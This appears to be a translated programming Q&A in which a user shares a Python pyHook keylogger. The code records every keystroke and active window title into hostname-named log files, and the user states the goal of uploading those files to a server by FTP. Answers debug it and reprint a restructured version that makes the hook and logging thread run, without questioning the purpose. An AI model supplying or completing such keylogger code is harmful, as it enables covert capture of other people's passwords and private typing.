Python使用pyhook进行多线程

1 投票
3 回答
2172 浏览
提问于 2025-04-17 19:57
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread 
def fi():
   while True:
        dr =  socket.gethostname()
        if not os.path.exists(dr):
                os.makedirs(dr)
        else:
                pass
        now = datetime.datetime.now()
        p = now.strftime("%Y-%m-%d %H-%M")
        temp_path = dr + '/' + p
        fil =  temp_path + '.txt'
        sys.stdout = open(fil,'w')
        statinfo = os.stat(fil)
        fils = statinfo.st_size
        if(fils > 20):
            now = datetime.datetime.now()
            p = now.strftime("%Y-%m-%d %H-%M")
            temp_path = dr + '/' + p
            fil =  temp_path + '.txt'
            sys.stdout = open(fil,'w')  
        else:
            pass


lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
        global lastWindow       
        window = event.WindowName
        key = chr(event.Ascii)
        if window != lastWindow:
            start = '-----------------------------------'
            print str(start)
            print window 
            lastWindow = window
        print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

if __name__ == '__main__':
    Thread(target = fi).start()
    Thread(target = OnKeyboardEvent(event)).start() 

这段代码的第一部分定义了一个叫做 fi() 的函数,当文件大小超过 20KB 时,它会创建一个新文件。第二部分是一个键盘记录器,它会把按下的键记录到文件里。我刚开始学习 Python 和多线程编程。现在当我运行这段代码时,只能让键盘记录器工作,但没有生成文件,也没有创建日志。请帮我解决这个问题。

  • 我只需要这段代码能创建一个以当前时间命名的日志文件,并把所有按键记录到这个文件里。如果文件大小超过 20KB,就应该把旧文件上传到服务器,并用新的当前时间创建一个新文件。我刚开始学 Python,所以不太确定这段代码哪里出错了,或者它没有做到什么。

3 个回答

0

我注意到你对原始信息的编辑和评论。如果你还在继续这个项目,我有一些建议。

先别管日志记录、线程处理和其他那些复杂的东西。专注于让PyHook在最简单的状态下工作。从你原来的代码来看,似乎你在设置pyHook时遇到了困难(注意,我现在没有安装pyHook,所以这段代码没有经过测试):

import pyHook

def OnKeyboardEvent(event):
    print(event)

if __name__ == '__main__':

    global hm      #if we make this global, we can access inside OnKeyboardEvent
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()

    try:
        pythoncom.PumpMessages()   #This call will block forever unless interrupted,
                               # so get everything ready before you execute this.

    except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
        print(e)    
        os._exit()

这段代码的目的是简单地捕捉任何按键事件,并将事件信息打印到控制台。技术上来说,你在事件回调函数里不应该做太多事情(应该尽快返回),但为了测试,你可以暂时把一些你的工作函数放在事件循环里。这只是暂时的,等你准备好再加入线程处理的部分。(如果文件访问函数出现错误,也不要感到惊讶)。

先把这个搞定。然后再试着把标准输出保存到一个文件里。(暂时先不考虑20Kb的文件限制)。

0
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread 

def OnKeyboardEvent(event):

    # Now you can access your hookmanager, and change which keys you want 
    # to watch. Using 'event' and 'hm', you can do some fun stuff in here.
    global hm
    global lastWindow

    window=win32gui.GetWindowText(win32gui.GetForegroundWindow())      
    ####window = event.WindowName
    ####I'm not sure, but these last two functions may not return the "exact" 
    ####name values. I would call the same function you trying to compare against.

    key = chr(event.Ascii)
    if window != lastWindow:   ## Now you know these at least come from same function
        start = '-----------------------------------'
        print str(start)
        print window 
        lastWindow = window
    print key

def fi():    #This is your "worker loop"
   while True:
        dr =  socket.gethostname()
        if not os.path.exists(dr):
                os.makedirs(dr)
        else:
                pass
        now = datetime.datetime.now()
        p = now.strftime("%Y-%m-%d %H-%M")
        temp_path = dr + '/' + p
        fil =  temp_path + '.txt'
        sys.stdout = open(fil,'w')
        statinfo = os.stat(fil)
        fils = statinfo.st_size
        if(fils > 20):
            now = datetime.datetime.now()
            p = now.strftime("%Y-%m-%d %H-%M")
            temp_path = dr + '/' + p
            fil =  temp_path + '.txt'
            sys.stdout = open(fil,'w')  
        else:
            pass

if __name__ == '__main__':
    """This stuff only executes once"""

    global lastWindow
    lastWindow = None
    lastWindow=win32gui.GetWindowText(win32gui.GetForegroundWindow())
    print lastWindow

    global hm      #if we make this global, we can access inside OnKeyboardEvent
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()

    Thread(target = fi).start() #This is your worker loop

    # We don't need this. OnKeyboardEvent will get callbacks from system
    # thanks to Hookmanager and PumpMessages
    ##Thread(target = OnKeyboardEvent(event)).start()

    # You wouldn't want to do it with the way we are set up, but this is a "polite"
    # way to get PumpMessages to return...

    #ctypes.windll.user32.PostQuitMessage(0) # stops pumpMessages


    try:
        pythoncom.PumpMessages()   #This call will block forever unless interrupted

    except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
        print(e)    
        os._exit()

当然可以!请把你想要翻译的内容发给我,我会帮你把它变得更简单易懂。

3

第一个问题

你创建了两个线程,但第二个线程的目标是函数 OnKeyboardEvent(event) 的返回值。这个函数没有返回值,所以返回的就是 None,这样线程就没有目标了。

第二个问题

你的代码根本没有执行到 if __name__ == "__main__": 这一部分。它在 pythoncom.PumpMessages() 这里卡住了,至少对我来说是这样。

第三个问题

一开始我很困惑,为什么你的代码能运行而没有抛出异常——event 在最后一行之前并没有定义。不过问题二让问题三暂时没有影响,但如果你解决了问题二,就得面对问题三了。

解决方案

说实话,我不太明白你想做什么。你应该认真解决每一个问题。

  1. 不要调用线程的目标,给线程一个函数对象。如果需要参数,可以使用 Threadargs 参数,比如 Thread(target = OnKeyboardEvent, args=(event)).start()

  2. 我对 pythoncom 的用法不太了解。也许 pythoncom.PumpWaitingMessages() 是你想要的?

  3. 我不知道你在这里想做什么。为什么要在一个线程中调用回调函数?这个函数没有循环之类的,所以它只会运行一次就停止。我猜这只是一次绝望的尝试?

一般建议

  • 除非真的需要,否则我不建议重新定义 sys.stdout
  • 请记得 close() 你打开的文件。可以考虑使用 with 语句。
  • 更好的做法是使用 logging 模块,它提供了很多不同的功能。
  • 创建线程时,要考虑结束的时机。它什么时候会停止?如何从另一个线程停止它?

撰写回答